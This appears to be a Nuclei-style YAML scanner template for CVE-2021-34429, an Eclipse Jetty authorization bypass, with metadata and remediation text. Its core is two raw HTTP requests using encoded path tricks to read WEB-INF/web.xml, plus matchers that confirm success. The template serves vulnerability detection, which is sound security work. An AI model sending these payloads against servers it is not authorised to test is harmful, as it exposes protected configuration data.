64 lines
2.4 KiB
YAML
64 lines
2.4 KiB
YAML
id: CVE-2021-34429
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info:
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name: Eclipse Jetty - Information Disclosure
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author: bernardofsr,am0nt31r0
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severity: medium
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description: |
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Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
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remediation: |
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Apply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Eclipse Jetty.
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reference:
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- https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
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- https://lists.apache.org/thread.html/r763840320a80e515331cbc1e613fa93f25faf62e991974171a325c82@%3Cdev.zookeeper.apache.org%3E
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- https://lists.apache.org/thread.html/r7dd079fa0ac6f47ba1ad0af98d7d0276547b8a4e005f034fb1016951@%3Cissues.zookeeper.apache.org%3E
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- https://nvd.nist.gov/vuln/detail/CVE-2021-34429
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- https://lists.apache.org/thread.html/r029c0c6833c8bb6acb094733fd7b75029d633f47a92f1c9d14391fc0@%3Cnotifications.zookeeper.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2021-34429
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cwe-id: CWE-200,NVD-CWE-Other
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epss-score: 0.8203
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epss-percentile: 0.98023
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cpe: cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: eclipse
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product: jetty
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tags: cve,cve2021,jetty
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http:
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- raw:
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- |+
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GET /%u002e/WEB-INF/web.xml HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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- |+
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GET /.%00/WEB-INF/web.xml HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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unsafe: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</web-app>"
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- "java.sun.com"
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condition: and
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- type: word
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part: header
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words:
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- "application/xml"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100a00376c05550b258bae6dffe1eb3fba5c93ef060b2f7eada7334dad23b13f3430221009e2abba20983e44220d1fda40df4b7130fba6dc2184872c77903854520c1aa53:922c64590222798bb761d5b6d8e72950
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